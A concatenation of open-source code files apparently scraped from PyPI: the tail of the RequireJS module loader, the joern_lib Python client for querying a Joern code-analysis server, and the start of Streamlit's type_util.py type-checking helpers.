//to long.
interactiveScript = null;
//Pull out the name of the module and the context.
var data = getScriptData(evt);
context.completeLoad(data.id);
}
},
/**
* Callback for script errors.
*/
onScriptError: function (evt) {
var data = getScriptData(evt);
if (!hasPathFallback(data.id)) {
return onError(makeError('scripterror', 'Script error for: ' + data.id, evt, [data.id]));
}
}
};
context.require = context.makeRequire();
return context;
}
/**
* Main entry point.
*
* If the only argument to require is a string, then the module that
* is represented by that string is fetched for the appropriate context.
*
* If the first argument is an array, then it will be treated as an array
* of dependency string names to fetch. An optional function callback can
* be specified to execute when all of those dependencies are available.
*
* Make a local req variable to help Caja compliance (it assumes things
* on a require that are not standardized), and to give a short
* name for minification/local scope use.
*/
req = requirejs = function (deps, callback, errback, optional) {
//Find the right context, use default
var context, config,
contextName = defContextName;
// Determine if have config object in the call.
if (!isArray(deps) && typeof deps !== 'string') {
// deps is a config object
config = deps;
if (isArray(callback)) {
// Adjust args if there are dependencies
deps = callback;
callback = errback;
errback = optional;
} else {
deps = [];
}
}
if (config && config.context) {
contextName = config.context;
}
context = getOwn(contexts, contextName);
if (!context) {
context = contexts[contextName] = req.s.newContext(contextName);
}
if (config) {
context.configure(config);
}
return context.require(deps, callback, errback);
};
/**
* Support require.config() to make it easier to cooperate with other
* AMD loaders on globally agreed names.
*/
req.config = function (config) {
return req(config);
};
/**
* Execute something after the current tick
* of the event loop. Override for other envs
* that have a better solution than setTimeout.
* @param {Function} fn function to execute later.
*/
req.nextTick = typeof setTimeout !== 'undefined' ? function (fn) {
setTimeout(fn, 4);
} : function (fn) { fn(); };
/**
* Export require as a global, but only if it does not already exist.
*/
if (!require) {
require = req;
}
req.version = version;
//Used to filter out dependencies that are already paths.
req.jsExtRegExp = /^\/|:|\?|\.js$/;
req.isBrowser = isBrowser;
s = req.s = {
contexts: contexts,
newContext: newContext
};
//Create default context.
req({});
//Exports some context-sensitive methods on global require.
each([
'toUrl',
'undef',
'defined',
'specified'
], function (prop) {
//Reference from contexts instead of early binding to default context,
//so that during builds, the latest instance of the default context
//with its config gets used.
req[prop] = function () {
var ctx = contexts[defContextName];
return ctx.require[prop].apply(ctx, arguments);
};
});
if (isBrowser) {
head = s.head = document.getElementsByTagName('head')[0];
//If BASE tag is in play, using appendChild is a problem for IE6.
//When that browser dies, this can be removed. Details in this jQuery bug:
//http://dev.jquery.com/ticket/2709
baseElement = document.getElementsByTagName('base')[0];
if (baseElement) {
head = s.head = baseElement.parentNode;
}
}
/**
* Any errors that require explicitly generates will be passed to this
* function. Intercept/override it if you want custom error handling.
* @param {Error} err the error object.
*/
req.onError = defaultOnError;
/**
* Creates the node for the load command. Only used in browser envs.
*/
req.createNode = function (config, moduleName, url) {
var node = config.xhtml ?
document.createElementNS('http://www.w3.org/1999/xhtml', 'html:script') :
document.createElement('script');
node.type = config.scriptType || 'text/javascript';
node.charset = 'utf-8';
node.async = true;
return node;
};
/**
* Does the request to load a module for the browser case.
* Make this a separate function to allow other environments
* to override it.
*
* @param {Object} context the require context to find state.
* @param {String} moduleName the name of the module.
* @param {Object} url the URL to the module.
*/
req.load = function (context, moduleName, url) {
var config = (context && context.config) || {},
node;
if (isBrowser) {
//In the browser so use a script tag
node = req.createNode(config, moduleName, url);
node.setAttribute('data-requirecontext', context.contextName);
node.setAttribute('data-requiremodule', moduleName);
//Set up load listener. Test attachEvent first because IE9 has
//a subtle issue in its addEventListener and script onload firings
//that do not match the behavior of all other browsers with
//addEventListener support, which fire the onload event for a
//script right after the script execution. See:
//https://connect.microsoft.com/IE/feedback/details/648057/script-onload-event-is-not-fired-immediately-after-script-execution
//UNFORTUNATELY Opera implements attachEvent but does not follow the script
//script execution mode.
if (node.attachEvent &&
//Check if node.attachEvent is artificially added by custom script or
//natively supported by browser
//read https://github.com/jrburke/requirejs/issues/187
//if we can NOT find [native code] then it must NOT natively supported.
//in IE8, node.attachEvent does not have toString()
//Note the test for "[native code" with no closing brace, see:
//https://github.com/jrburke/requirejs/issues/273
!(node.attachEvent.toString && node.attachEvent.toString().indexOf('[native code') < 0) &&
!isOpera) {
//Probably IE. IE (at least 6-8) do not fire
//script onload right after executing the script, so
//we cannot tie the anonymous define call to a name.
//However, IE reports the script as being in 'interactive'
//readyState at the time of the define call.
useInteractive = true;
node.attachEvent('onreadystatechange', context.onScriptLoad);
//It would be great to add an error handler here to catch
//404s in IE9+. However, onreadystatechange will fire before
//the error handler, so that does not help. If addEventListener
//is used, then IE will fire error before load, but we cannot
//use that pathway given the connect.microsoft.com issue
//mentioned above about not doing the 'script execute,
//then fire the script load event listener before execute
//next script' that other browsers do.
//Best hope: IE10 fixes the issues,
//and then destroys all installs of IE 6-9.
//node.attachEvent('onerror', context.onScriptError);
} else {
node.addEventListener('load', context.onScriptLoad, false);
node.addEventListener('error', context.onScriptError, false);
}
node.src = url;
//For some cache cases in IE 6-8, the script executes before the end
//of the appendChild execution, so to tie an anonymous define
//call to the module name (which is stored on the node), hold on
//to a reference to this node, but clear after the DOM insertion.
currentlyAddingScript = node;
if (baseElement) {
head.insertBefore(node, baseElement);
} else {
head.appendChild(node);
}
currentlyAddingScript = null;
return node;
} else if (isWebWorker) {
try {
//In a web worker, use importScripts. This is not a very
//efficient use of importScripts, importScripts will block until
//its script is downloaded and evaluated. However, if web workers
//are in play, the expectation that a build has been done so that
//only one script needs to be loaded anyway. This may need to be
//reevaluated if other use cases become common.
importScripts(url);
//Account for anonymous modules
context.completeLoad(moduleName);
} catch (e) {
context.onError(makeError('importscripts',
'importScripts failed for ' +
moduleName + ' at ' + url,
e,
[moduleName]));
}
}
};
function getInteractiveScript() {
if (interactiveScript && interactiveScript.readyState === 'interactive') {
return interactiveScript;
}
eachReverse(scripts(), function (script) {
if (script.readyState === 'interactive') {
return (interactiveScript = script);
}
});
return interactiveScript;
}
//Look for a data-main script attribute, which could also adjust the baseUrl.
if (isBrowser && !cfg.skipDataMain) {
//Figure out baseUrl. Get it from the script tag with require.js in it.
eachReverse(scripts(), function (script) {
//Set the 'head' where we can append children by
//using the script's parent.
if (!head) {
head = script.parentNode;
}
//Look for a data-main attribute to set main script for the page
//to load. If it is there, the path to data main becomes the
//baseUrl, if it is not already set.
dataMain = script.getAttribute('data-main');
if (dataMain) {
//Preserve dataMain in case it is a path (i.e. contains '?')
mainScript = dataMain;
//Set final baseUrl if there is not already an explicit one.
if (!cfg.baseUrl) {
//Pull off the directory of data-main for use as the
//baseUrl.
src = mainScript.split('/');
mainScript = src.pop();
subPath = src.length ? src.join('/') + '/' : './';
cfg.baseUrl = subPath;
}
//Strip off any trailing .js since mainScript is now
//like a module name.
mainScript = mainScript.replace(jsSuffixRegExp, '');
//If mainScript is still a path, fall back to dataMain
if (req.jsExtRegExp.test(mainScript)) {
mainScript = dataMain;
}
//Put the data-main script in the files to load.
cfg.deps = cfg.deps ? cfg.deps.concat(mainScript) : [mainScript];
return true;
}
});
}
/**
* The function that handles definitions of modules. Differs from
* require() in that a string for the module should be the first argument,
* and the function to execute after dependencies are loaded should
* return a value to define the module corresponding to the first argument's
* name.
*/
define = function (name, deps, callback) {
var node, context;
//Allow for anonymous modules
if (typeof name !== 'string') {
//Adjust args appropriately
callback = deps;
deps = name;
name = null;
}
//This module may not have dependencies
if (!isArray(deps)) {
callback = deps;
deps = null;
}
//If no name, and callback is a function, then figure out if it a
//CommonJS thing with dependencies.
if (!deps && isFunction(callback)) {
deps = [];
//Remove comments from the callback string,
//look for require calls, and pull them into the dependencies,
//but only if there are function args.
if (callback.length) {
callback
.toString()
.replace(commentRegExp, '')
.replace(cjsRequireRegExp, function (match, dep) {
deps.push(dep);
});
//May be a CommonJS thing even without require calls, but still
//could use exports, and module. Avoid doing exports and module
//work though if it just needs require.
//REQUIRES the function to expect the CommonJS variables in the
//order listed below.
deps = (callback.length === 1 ? ['require'] : ['require', 'exports', 'module']).concat(deps);
}
}
//If in IE 6-8 and hit an anonymous define() call, do the interactive
//work.
if (useInteractive) {
node = currentlyAddingScript || getInteractiveScript();
if (node) {
if (!name) {
name = node.getAttribute('data-requiremodule');
}
context = contexts[node.getAttribute('data-requirecontext')];
}
}
//Always save off evaluating the def call until the script onload handler.
//This allows multiple modules to be in a file without prematurely
//tracing dependencies, and allows for anonymous module support,
//where the module name is not known until the script onload event
//occurs. If no context, use the global queue, and get it processed
//in the onscript load callback.
(context ? context.defQueue : globalDefQueue).push([name, deps, callback]);
};
define.amd = {
jQuery: true
};
/**
* Executes the text. Normally just uses eval, but can be modified
* to use a better, environment-specific call. Only used for transpiling
* loader plugins, not for plain JS modules.
* @param {String} text the text to execute/evaluate.
*/
req.exec = function (text) {
/*jslint evil: true */
return eval(text);
};
//Set up with config info.
req(cfg);
}(this));
|
PypiClean
|
/joern_lib-0.12.0.tar.gz/joern_lib-0.12.0/joern_lib/client.py
|
import asyncio
import json
import os
import platform
import tempfile
import httpx
import uvloop
import websockets
from joern_lib.utils import (
check_labels_list,
expand_search_str,
fix_json,
fix_query,
parse_error,
print_flows,
print_md,
print_table,
)
if platform.system() == "Windows":
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
else:
asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
headers = {"Content-Type": "application/json", "Accept-Encoding": "gzip"}
CLIENT_TIMEOUT = os.getenv("HTTP_CLIENT_TIMEOUT")
class Connection:
"""
Connection object to hold following connections:
- Websocket to joern server
- http connection to joern server
- http connection to cpggen server
"""
def __init__(self, cpggenclient, httpclient, websocket):
self.cpggenclient = cpggenclient
self.httpclient = httpclient
self.websocket = websocket
async def __aenter__(self):
return self
async def ping(self):
"""Send websocket ping message"""
await self.websocket.ping()
async def close(self):
"""Close all connections"""
await self.cpggenclient.close()
await self.httpclient.close()
await self.websocket.close()
async def __aexit__(self, exc_type, exc_value, exc_traceback):
return await self.close()
def get_sync(
base_url="http://localhost:9000",
cpggen_url="http://localhost:7072",
username=None,
password=None,
):
"""Function to create a plain synchronous http connection to joern and cpggen server"""
auth = None
if username and password:
auth = httpx.BasicAuth(username, password)
base_url = base_url.rstrip("/")
client = httpx.Client(base_url=base_url, auth=auth, timeout=CLIENT_TIMEOUT)
cpggenclient = None
if cpggen_url:
cpggenclient = httpx.Client(base_url=cpggen_url, timeout=CLIENT_TIMEOUT)
return Connection(cpggenclient, client, None)
async def get(
base_url="http://localhost:9000",
cpggen_url="http://localhost:7072",
username=None,
password=None,
):
"""Function to create a connection to joern and cpggen server"""
auth = None
if username and password:
auth = httpx.BasicAuth(username, password)
base_url = base_url.rstrip("/")
client = httpx.AsyncClient(base_url=base_url, auth=auth, timeout=CLIENT_TIMEOUT)
cpggenclient = None
if cpggen_url:
cpggenclient = httpx.AsyncClient(base_url=cpggen_url, timeout=CLIENT_TIMEOUT)
ws_url = f"""{base_url.replace("http://", "ws://").replace("https://", "wss://")}/connect"""
websocket = await websockets.connect(ws_url, ping_interval=None, ping_timeout=None)
connected_msg = await websocket.recv()
if connected_msg != "connected":
raise websockets.exceptions.InvalidState(
"Didn't receive connected message from Joern server"
)
# Workaround to fix websockets.exceptions.ConnectionClosedError
await asyncio.sleep(0)
return Connection(cpggenclient, client, websocket)
async def send(connection, message):
"""Send message to the joern server via websocket"""
await connection.websocket.send(message)
async def receive(connection):
"""Receive message from the joern server"""
return await connection.websocket.recv()
async def p(connection, query_str, title="", caption="", sync=False):
"""Function to print the result as a table"""
result = await query(connection, query_str, sync=sync)
print_table(result, title, caption)
return result
async def q(connection, query_str, sync=False):
"""Query joern server and optionally print the result as a table if the query ends with .p"""
if query_str.strip().endswith(".p"):
query_str = f"{query_str[:-2]}.toJsonPretty"
return await p(connection, query_str, sync=sync)
return await query(connection, query_str, sync=sync)
async def query(connection, query_str, sync=False):
"""Query joern server"""
client = connection.httpclient
if isinstance(client, httpx.AsyncClient):
response = await client.post(
url=f"/query{'-sync' if sync else ''}",
headers=headers,
json={"query": fix_query(query_str)},
)
else:
sync = True
response = client.post(
url=f"/query{'-sync' if sync else ''}",
headers=headers,
json={"query": fix_query(query_str)},
)
if response.status_code == httpx.codes.OK:
j = response.json()
if sync:
return fix_json(j.get("stdout", ""))
res_uuid = j.get("uuid")
try:
completed_uuid = await receive(connection)
if completed_uuid == res_uuid:
response = await client.get(
url=f"/result/{completed_uuid}", headers=headers
)
if response.status_code == httpx.codes.OK:
j = response.json()
sout = j.get("stdout", "")
serr = j.get("stderr", "")
if sout:
return fix_json(sout)
return parse_error(serr)
except Exception:
return None
return None
async def bulk_query(connection, query_list, sync=False):
"""Bulk query joern server"""
client = connection.httpclient
websocket = connection.websocket
uuid_list = []
response_list = []
for query_str in query_list:
if isinstance(client, httpx.AsyncClient):
response = await client.post(
url=f"/query{'-sync' if sync else ''}",
headers=headers,
json={"query": fix_query(query_str)},
)
else:
sync = True
response = client.post(
url="/query-sync", headers=headers, json={"query": fix_query(query_str)}
)
if response.status_code == httpx.codes.OK:
j = response.json()
if sync:
sout = j.get("stdout", "")
serr = j.get("stderr", "")
if sout:
response_list.append(fix_json(sout))
else:
response_list.append({"error": parse_error(serr)})
else:
res_uuid = j.get("uuid")
uuid_list.append(res_uuid)
if sync:
return response_list
async for completed_uuid in websocket:
if completed_uuid in uuid_list:
response = await client.get(
url=f"/result/{completed_uuid}", headers=headers
)
if response.status_code == httpx.codes.OK:
j = response.json()
sout = j.get("stdout", "")
serr = j.get("stderr", "")
if sout:
response_list.append(fix_json(sout))
else:
response_list.append({"error": parse_error(serr)})
if len(response_list) == len(uuid_list):
return response_list
return response_list
async def flows(connection, source, sink):
"""Execute reachableByFlows query"""
return await flowsp(
connection,
source,
sink,
print_result=bool(os.getenv("POLYNOTE_VERSION")),
)
async def flowsp(connection, source, sink, print_result=True):
"""Execute reachableByFlows query and optionally print the result table"""
if not source.startswith("def"):
source = f"def source = {source}"
if not sink.startswith("def"):
sink = f"def sink = {sink}"
results = await bulk_query(
connection,
[
source,
sink,
"sink.reachableByFlows(source).p",
],
)
if print_result and len(results):
tmpres = results[-1]
if isinstance(tmpres, dict) and tmpres.get("response"):
tmpres = tmpres.get("response")
tmpA = tmpres.split('"""')[1:-1]
print_md("\n".join([n for n in tmpA if len(n.strip()) > 1]))
return results
async def df(
connection,
source,
sink,
print_result=True if os.getenv("POLYNOTE_VERSION") else False,
filter=None,
check_labels=check_labels_list,
):
"""
Execute reachableByFlows query. Optionally accepts filters which could be a raw conditional string or predefined keywords such as skip_control_structures, skip_cfg and skip_checks
skip_control_structures: This adds a control structure filter `filter(m => m.elements.isControlStructure.size > 0)` to skip flows with control statements such if condition or break
skip_cfg: This adds a cfg filter `filter(m => m.elements.isCfgNode.size > 0)` to skip flows with control flow graph nodes
skip_checks: When used with check_labels parameter, this could filter flows containing known validation and sanitization code in the flow. Has a default list.
"""
filter_str = ""
if isinstance(check_labels, str):
check_labels = check_labels.split("|")
if isinstance(source, dict):
for k, v in source.items():
if k in ("parameter", "tag"):
source = f"""cpg.tag.name("{v}").{k}"""
elif k in ("method", "call", "annotation"):
source = f"""cpg.{k}{expand_search_str(v)}"""
if isinstance(sink, dict):
for k, v in sink.items():
if k in ("parameter", "tag"):
sink = f"""cpg.tag.name("{v}").{k}"""
elif k in ("method", "call", "annotation"):
sink = f"""cpg.{k}{expand_search_str(v)}"""
if not source.startswith("def"):
source = f"def source = {source}"
if not sink.startswith("def"):
sink = f"def sink = {sink}"
if filter:
if isinstance(filter, str):
if filter == "skip_checks":
filter_str = f""".filter(m => m.elements.code(".*({'|'.join(check_labels)}).*").size == 0)"""
elif not filter.startswith("."):
filter_str = f".filter({filter})"
elif isinstance(filter, list):
for k in filter:
if k == "skip_control_structures":
filter_str = f"{filter_str}.filter(m => m.elements.isControlStructure.size > 0)"
elif k == "skip_cfg":
filter_str = (
f"{filter_str}.filter(m => m.elements.isCfgNode.size > 0)"
)
elif k == "skip_checks":
filter_str = f"""{filter_str}.filter(m => m.elements.code(".*({'|'.join(check_labels)}).*").size == 0)"""
else:
filter_str = f"""{filter_str}.filter({k})"""
with tempfile.NamedTemporaryFile(
prefix="reachable_flows_", suffix=".json", delete=False
) as fp:
res = await bulk_query(
connection,
[
source,
sink,
f'sink.reachableByFlows(source){filter_str}.map(m => (m, m.elements.location.l)).toJson |> "{fp.name}"',
],
)
try:
results = json.load(fp)
if print_result:
print_flows(results)
except json.JSONDecodeError:
return res[-1] if len(res) else res
return results
async def reachable_by_flows(connection, source, sink, print_result=False):
"""Execute reachableByFlows query"""
return await df(connection, source, sink, print_result)
async def create_cpg(
connection,
src,
out_dir=None,
lang=None,
slice=None,
slice_mode="Usages",
auto_build=True,
skip_sbom=True,
):
"""Create CPG using cpggen server"""
client = connection.cpggenclient
if not client:
return {
"error": "true",
"message": "No active connection to cpggen server. Pass the cpggen url to the client.get method.",
}, 500
# Suppor for url
url = ""
if src.startswith("http") or src.startswith("git://") or src.startswith("pkg:"):
url = src
src = ""
data = {
"src": src,
"url": url,
"out_dir": out_dir,
"lang": lang,
"slice": "true" if slice else "false",
"slice_mode": slice_mode,
"auto_build": "true" if auto_build else "false",
"skip_sbom": "true" if skip_sbom else "false",
}
if isinstance(client, httpx.AsyncClient):
response = await client.post(
url="/cpg",
headers=headers,
json=data,
)
else:
response = client.post(
url="/cpg",
headers=headers,
json=data,
)
return response.json()
async def graphml_export(connection, filter_str="method"):
"""Method to export method as graphml"""
with tempfile.NamedTemporaryFile(
prefix="graphml_export_", suffix=".graphml", delete=False
) as fp:
res = await bulk_query(
connection,
[
"""
import overflowdb.formats.ExportResult
import overflowdb.formats.graphml.GraphMLExporter
import java.nio.file.{Path, Paths}
case class MethodSubGraph(methodName: String, nodes: Set[Node]) {
def edges: Set[Edge] = {
for {
node <- nodes
edge <- node.bothE.asScala
if nodes.contains(edge.inNode) && nodes.contains(edge.outNode)
} yield edge
}
}
def plus(resultA: ExportResult, resultB: ExportResult): ExportResult = {
ExportResult(
nodeCount = resultA.nodeCount + resultB.nodeCount,
edgeCount = resultA.edgeCount + resultB.edgeCount,
files = resultA.files ++ resultB.files,
additionalInfo = resultA.additionalInfo
)
}
def splitByMethod(cpg: Cpg): IterableOnce[MethodSubGraph] = {
cpg.%(filter_str)s.map { method =>
MethodSubGraph(methodName = method.name, nodes = method.ast.toSet)
}
}
"""
% dict(filter_str=filter_str),
"""
({splitByMethod(cpg).iterator
.map { case subGraph @ MethodSubGraph(methodName, nodes) =>
GraphMLExporter.runExport(nodes, subGraph.edges, Paths.get("%(gml_file)s"))
}
.reduce(plus)
})
"""
% dict(gml_file=fp.name),
],
)
return fp.name
|
PypiClean
|
/hf-streamlit-1.18.1.tar.gz/hf-streamlit-1.18.1/streamlit/type_util.py
|
from __future__ import annotations
import contextlib
import re
import types
from enum import Enum, auto
from typing import (
TYPE_CHECKING,
Any,
Dict,
Iterable,
List,
NamedTuple,
Optional,
Sequence,
Set,
Tuple,
TypeVar,
Union,
cast,
overload,
)
import numpy as np
import pyarrow as pa
from pandas import DataFrame, Index, MultiIndex, Series
from pandas.api.types import infer_dtype, is_dict_like, is_list_like
from typing_extensions import Final, Literal, Protocol, TypeAlias, TypeGuard, get_args
import streamlit as st
from streamlit import errors
from streamlit import logger as _logger
from streamlit import string_util
if TYPE_CHECKING:
import graphviz
import sympy
from pandas.core.indexing import _iLocIndexer
from pandas.io.formats.style import Styler
from plotly.graph_objs import Figure
from pydeck import Deck
# Maximum number of rows to request from an unevaluated (out-of-core) dataframe
MAX_UNEVALUATED_DF_ROWS = 10000
_LOGGER = _logger.get_logger("root")
# The array value field names are part of the larger set of possible value
# field names. See the explanation for said set below. The message types
# associated with these fields are distinguished by storing data in a `data`
# field in their messages, meaning they need special treatment in certain
# circumstances. Hence, they need their own, dedicated, sub-type.
ArrayValueFieldName: TypeAlias = Literal[
"double_array_value",
"int_array_value",
"string_array_value",
]
# A frozenset containing the allowed values of the ArrayValueFieldName type.
# Useful for membership checking.
ARRAY_VALUE_FIELD_NAMES: Final = frozenset(
cast(
"tuple[ArrayValueFieldName, ...]",
# NOTE: get_args is not recursive, so this only works as long as
# ArrayValueFieldName remains flat.
get_args(ArrayValueFieldName),
)
)
# These are the possible field names that can be set in the `value` oneof-field
# of the WidgetState message (schema found in .proto/WidgetStates.proto).
# We need these as a literal type to ensure correspondence with the protobuf
# schema in certain parts of the python code.
# TODO(harahu): It would be preferable if this type was automatically derived
# from the protobuf schema, rather than manually maintained. Not sure how to
# achieve that, though.
ValueFieldName: TypeAlias = Literal[
ArrayValueFieldName,
"arrow_value",
"bool_value",
"bytes_value",
"double_value",
"file_uploader_state_value",
"int_value",
"json_value",
"string_value",
"trigger_value",
]
V_co = TypeVar(
"V_co",
covariant=True, # https://peps.python.org/pep-0484/#covariance-and-contravariance
)
T = TypeVar("T")
class DataFrameGenericAlias(Protocol[V_co]):
"""Technically not a GenericAlias, but serves the same purpose in
OptionSequence below, in that it is a type which admits DataFrame,
but is generic. This allows OptionSequence to be a fully generic type,
significantly increasing its usefulness.
We can't use types.GenericAlias, as it is only available from python>=3.9,
and isn't easily back-ported.
"""
@property
def iloc(self) -> _iLocIndexer:
...
OptionSequence: TypeAlias = Union[
Iterable[V_co],
DataFrameGenericAlias[V_co],
]
Key: TypeAlias = Union[str, int]
LabelVisibility = Literal["visible", "hidden", "collapsed"]
# This should really be a Protocol, but can't be, due to:
# https://github.com/python/mypy/issues/12933
# https://github.com/python/mypy/issues/13081
SupportsStr: TypeAlias = object
def is_array_value_field_name(obj: object) -> TypeGuard[ArrayValueFieldName]:
return obj in ARRAY_VALUE_FIELD_NAMES
@overload
def is_type(
obj: object, fqn_type_pattern: Literal["pydeck.bindings.deck.Deck"]
) -> TypeGuard[Deck]:
...
@overload
def is_type(
obj: object, fqn_type_pattern: Literal["plotly.graph_objs._figure.Figure"]
) -> TypeGuard[Figure]:
...
@overload
def is_type(obj: object, fqn_type_pattern: Union[str, re.Pattern[str]]) -> bool:
...
def is_type(obj: object, fqn_type_pattern: Union[str, re.Pattern[str]]) -> bool:
"""Check type without importing expensive modules.
Parameters
----------
obj : object
The object to type-check.
fqn_type_pattern : str or regex
The fully-qualified type string or a regular expression.
Regexes should start with `^` and end with `$`.
Example
-------
To check whether something is a Matplotlib Figure without importing
matplotlib, use:
>>> is_type(foo, 'matplotlib.figure.Figure')
"""
fqn_type = get_fqn_type(obj)
if isinstance(fqn_type_pattern, str):
return fqn_type_pattern == fqn_type
else:
return fqn_type_pattern.match(fqn_type) is not None
def get_fqn(the_type: type) -> str:
"""Get module.type_name for a given type."""
return f"{the_type.__module__}.{the_type.__qualname__}"
def get_fqn_type(obj: object) -> str:
"""Get module.type_name for a given object."""
return get_fqn(type(obj))
_PANDAS_DF_TYPE_STR: Final = "pandas.core.frame.DataFrame"
_PANDAS_INDEX_TYPE_STR: Final = "pandas.core.indexes.base.Index"
_PANDAS_SERIES_TYPE_STR: Final = "pandas.core.series.Series"
_PANDAS_STYLER_TYPE_STR: Final = "pandas.io.formats.style.Styler"
_NUMPY_ARRAY_TYPE_STR: Final = "numpy.ndarray"
_SNOWPARK_DF_TYPE_STR: Final = "snowflake.snowpark.dataframe.DataFrame"
_SNOWPARK_DF_ROW_TYPE_STR: Final = "snowflake.snowpark.row.Row"
_SNOWPARK_TABLE_TYPE_STR: Final = "snowflake.snowpark.table.Table"
_PYSPARK_DF_TYPE_STR: Final = "pyspark.sql.dataframe.DataFrame"
_DATAFRAME_LIKE_TYPES: Final[tuple[str, ...]] = (
_PANDAS_DF_TYPE_STR,
_PANDAS_INDEX_TYPE_STR,
_PANDAS_SERIES_TYPE_STR,
_PANDAS_STYLER_TYPE_STR,
_NUMPY_ARRAY_TYPE_STR,
)
DataFrameLike: TypeAlias = "Union[DataFrame, Index, Series, Styler]"
_DATAFRAME_COMPATIBLE_TYPES: Final[tuple[type, ...]] = (
dict,
list,
set,
tuple,
type(None),
)
_DataFrameCompatible: TypeAlias = Union[dict, list, set, Tuple[Any], None]
DataFrameCompatible: TypeAlias = Union[_DataFrameCompatible, DataFrameLike]
_BYTES_LIKE_TYPES: Final[tuple[type, ...]] = (
bytes,
bytearray,
)
BytesLike: TypeAlias = Union[bytes, bytearray]
class DataFormat(Enum):
"""DataFormat is used to determine the format of the data."""
UNKNOWN = auto()
EMPTY = auto() # None
PANDAS_DATAFRAME = auto() # pd.DataFrame
PANDAS_SERIES = auto() # pd.Series
PANDAS_INDEX = auto() # pd.Index
NUMPY_LIST = auto() # np.array[Scalar]
NUMPY_MATRIX = auto() # np.array[List[Scalar]]
PYARROW_TABLE = auto() # pyarrow.Table
SNOWPARK_OBJECT = auto() # Snowpark DataFrame, Table, List[Row]
PYSPARK_OBJECT = auto() # pyspark.DataFrame
PANDAS_STYLER = auto() # pandas Styler
LIST_OF_RECORDS = auto() # List[Dict[str, Scalar]]
LIST_OF_ROWS = auto() # List[List[Scalar]]
LIST_OF_VALUES = auto() # List[Scalar]
TUPLE_OF_VALUES = auto() # Tuple[Scalar]
SET_OF_VALUES = auto() # Set[Scalar]
COLUMN_INDEX_MAPPING = auto() # {column: {index: value}}
COLUMN_VALUE_MAPPING = auto() # {column: List[values]}
COLUMN_SERIES_MAPPING = auto() # {column: Series(values)}
KEY_VALUE_DICT = auto() # {index: value}
def is_dataframe(obj: object) -> TypeGuard[DataFrame]:
return is_type(obj, _PANDAS_DF_TYPE_STR)
def is_dataframe_like(obj: object) -> TypeGuard[DataFrameLike]:
return any(is_type(obj, t) for t in _DATAFRAME_LIKE_TYPES)
def is_snowpark_or_pyspark_data_object(obj: object) -> bool:
"""True if if obj is of type snowflake.snowpark.dataframe.DataFrame, snowflake.snowpark.table.Table or
True when obj is a list which contains snowflake.snowpark.row.Row or True when obj is of type pyspark.sql.dataframe.DataFrame
False otherwise.
"""
return is_snowpark_data_object(obj) or is_pyspark_data_object(obj)
def is_snowpark_data_object(obj: object) -> bool:
"""True if obj is of type snowflake.snowpark.dataframe.DataFrame, snowflake.snowpark.table.Table or
True when obj is a list which contains snowflake.snowpark.row.Row,
False otherwise.
"""
if is_type(obj, _SNOWPARK_TABLE_TYPE_STR):
return True
if is_type(obj, _SNOWPARK_DF_TYPE_STR):
return True
if not isinstance(obj, list):
return False
if len(obj) < 1:
return False
if not hasattr(obj[0], "__class__"):
return False
return is_type(obj[0], _SNOWPARK_DF_ROW_TYPE_STR)
def is_pyspark_data_object(obj: object) -> bool:
"""True if obj is of type pyspark.sql.dataframe.DataFrame"""
return (
is_type(obj, _PYSPARK_DF_TYPE_STR)
and hasattr(obj, "toPandas")
and callable(getattr(obj, "toPandas"))
)
def is_dataframe_compatible(obj: object) -> TypeGuard[DataFrameCompatible]:
"""True if type that can be passed to convert_anything_to_df."""
return is_dataframe_like(obj) or type(obj) in _DATAFRAME_COMPATIBLE_TYPES
def is_bytes_like(obj: object) -> TypeGuard[BytesLike]:
"""True if the type is considered bytes-like for the purposes of
protobuf data marshalling.
"""
return isinstance(obj, _BYTES_LIKE_TYPES)
def to_bytes(obj: BytesLike) -> bytes:
"""Converts the given object to bytes.
Only types for which `is_bytes_like` is true can be converted; anything
else will result in an exception.
"""
if isinstance(obj, bytearray):
return bytes(obj)
elif isinstance(obj, bytes):
return obj
raise RuntimeError(f"{obj} is not convertible to bytes")
_SYMPY_RE: Final = re.compile(r"^sympy.*$")
def is_sympy_expession(obj: object) -> TypeGuard[sympy.Expr]:
"""True if input is a SymPy expression."""
if not is_type(obj, _SYMPY_RE):
return False
try:
import sympy
return isinstance(obj, sympy.Expr)
except ImportError:
return False
_ALTAIR_RE: Final = re.compile(r"^altair\.vegalite\.v\d+\.api\.\w*Chart$")
def is_altair_chart(obj: object) -> bool:
"""True if input looks like an Altair chart."""
return is_type(obj, _ALTAIR_RE)
def is_keras_model(obj: object) -> bool:
"""True if input looks like a Keras model."""
return (
is_type(obj, "keras.engine.sequential.Sequential")
or is_type(obj, "keras.engine.training.Model")
or is_type(obj, "tensorflow.python.keras.engine.sequential.Sequential")
or is_type(obj, "tensorflow.python.keras.engine.training.Model")
)
def is_list_of_scalars(data: Iterable[Any]) -> bool:
"""Check if the list only contains scalar values."""
# Overview on all value that are interpreted as scalar:
# https://pandas.pydata.org/docs/reference/api/pandas.api.types.is_scalar.html
return infer_dtype(data, skipna=True) not in ["mixed", "unknown-array"]
def is_plotly_chart(obj: object) -> TypeGuard[Union[Figure, list[Any], dict[str, Any]]]:
"""True if input looks like a Plotly chart."""
return (
is_type(obj, "plotly.graph_objs._figure.Figure")
or _is_list_of_plotly_objs(obj)
or _is_probably_plotly_dict(obj)
)
def is_graphviz_chart(
obj: object,
) -> TypeGuard[Union[graphviz.Graph, graphviz.Digraph]]:
"""True if input looks like a GraphViz chart."""
return (
# GraphViz < 0.18
is_type(obj, "graphviz.dot.Graph")
or is_type(obj, "graphviz.dot.Digraph")
# GraphViz >= 0.18
or is_type(obj, "graphviz.graphs.Graph")
or is_type(obj, "graphviz.graphs.Digraph")
)
def _is_plotly_obj(obj: object) -> bool:
"""True if input if from a type that lives in plotly.plotly_objs."""
the_type = type(obj)
return the_type.__module__.startswith("plotly.graph_objs")
def _is_list_of_plotly_objs(obj: object) -> TypeGuard[list[Any]]:
if not isinstance(obj, list):
return False
if len(obj) == 0:
return False
return all(_is_plotly_obj(item) for item in obj)
def _is_probably_plotly_dict(obj: object) -> TypeGuard[dict[str, Any]]:
if not isinstance(obj, dict):
return False
if len(obj.keys()) == 0:
return False
if any(k not in ["config", "data", "frames", "layout"] for k in obj.keys()):
return False
if any(_is_plotly_obj(v) for v in obj.values()):
return True
if any(_is_list_of_plotly_objs(v) for v in obj.values()):
return True
return False
def is_function(x: object) -> TypeGuard[types.FunctionType]:
"""Return True if x is a function."""
return isinstance(x, types.FunctionType)
